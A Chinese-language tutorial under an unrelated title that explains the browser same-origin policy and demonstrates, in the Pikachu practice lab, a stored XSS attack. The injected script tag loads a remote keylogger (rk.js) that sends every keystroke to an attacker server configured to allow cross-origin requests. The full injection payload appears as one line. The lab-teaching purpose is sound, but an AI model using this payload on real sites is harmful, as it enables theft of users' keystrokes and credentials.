用r语言 做网站点击热力图如何创建自己的网址
在实验前,先了解一下什么是跨域
因为在这个实验里面,我们会去远程的调用js文件,远程调用js会涉及到跨域请求的问题
http:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名、子域名)、端口中的任意一个不相同时,称为不同域
我们把不同的域之间请求数据的操作,成为跨域操作
跨域-同源策略
而为了安全考虑,所有的浏览器都约定了“同源策略”,(同源策略是在浏览器端去执行的)同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的javascrip并不能操作y.com域下的对象。
同源策略是浏览器的一个安全措施
如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。
Tips: 下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
<script src=“...”> //js,加载到本地执行
<img src=“…”> //图片
<link href=“…”> //css
<iframe src=“…”> //任意资源
可以远程加载不同域的js资源,这些标签是不受同源策略影响的
为什么要有同源策略:
A登陆了淘宝,攻击者向A发送一个恶意链接urlb:
http://www.盗你cookie.com
这个链接上,有很多的恶意代码
如果没有同源策略,即:urlb上的js可以操作A的内容(如:获取cookie等)
这样子就不用xss,也不用其它漏洞,我只要给你发一个带有恶意js的代码,就能读取你的信息,这样子,前端就乱套了
有了同源策略,就限制了这种情况
再比如:
一个恶意站点A上使用了
<iframe src="B站点登陆页面">
,发送该恶意url到攻击对象,攻击对象登陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。
我们仍然是拿存储型的xss做演示,我们看一下后端的代码,rkserver.php
这个地方其实是做了一个接口,你所有post过来的数据,它都会把它插入到数据库里面去,然后在pkxss_keypress_result.php做显示
场景的不同点在于rk.js文件,这个js文件,其实是一个攻击的代码
我们可以把这段js,放在我们的恶意站点上面,把这段代码,通过有xss漏洞的页面进行调用,这段js运行起来,在用户的页面上,对用户的键盘输入进行获取,然后再把它异步的发送给我们攻击者的后台
它的关键点在于event.keycode,这个方法是js代码用来获取用户键盘输入的一个方法,它可以把我们键盘输入的值,给获取到,然后,再把它转换成字符串,然后再赋值给x1,调show函数
它会去发送ajax请求,它会把获取到的内容通过异步请求发送到我们的后台
打开ajax的post请求,这个地方改成我们pkxss后台的地址,把获取到的请求,通过post请求,发送出来
我们这个操作,就违背了同源操作,因为默认情况下ajax请求,不能跨域,所以说,这个请求会发送失败
我们回到pikachu存储型xss的页面上面来,我们再输入框输入能够调用远程js的方法
<script src="http://192.168.42.236/pikachu/pkxss/rkeypress/rk.js"></script>
我们用js标签,这个标签里面写个src,这个src是能够把我们rk.js代码加载到本地来运行,因为我们知道js里面的资源是能够跨域请求资源的
我们点提交,实际上这段js就被嵌入到页面里面,我们看一下网络请求
我们看到这个地方,有错误的提示,我们点控制台,看一下错误提示
发现报无法进行跨域请求,这样子同源策略的好处,就是帮助用户做了一道措施,由于rkserver.php是攻击者自己搭建的,所以,它可以同意所有人都可以请求它,这样子,存在xss漏洞的页面,可以跳出js,请求42.236,就可以正常访问了
我们看一下rkserver.php代码
这个地方是用来获取远程传过来的数据的,开启允许跨域访问请求,我们输入6个a,我们看到这个后面其实是有很多请求的,在我们输入的时候,js会把对应的输入给抓下来
其实,它会把我们每一次基键输入给抓下来,通过xhr的异步请求,发送到我们的42.236目标上面去
我们到后台看一下
他会把对应的记录记下来,xss用的好不好,主要看大家思路、js用的熟不熟,以及前端场景的一些理解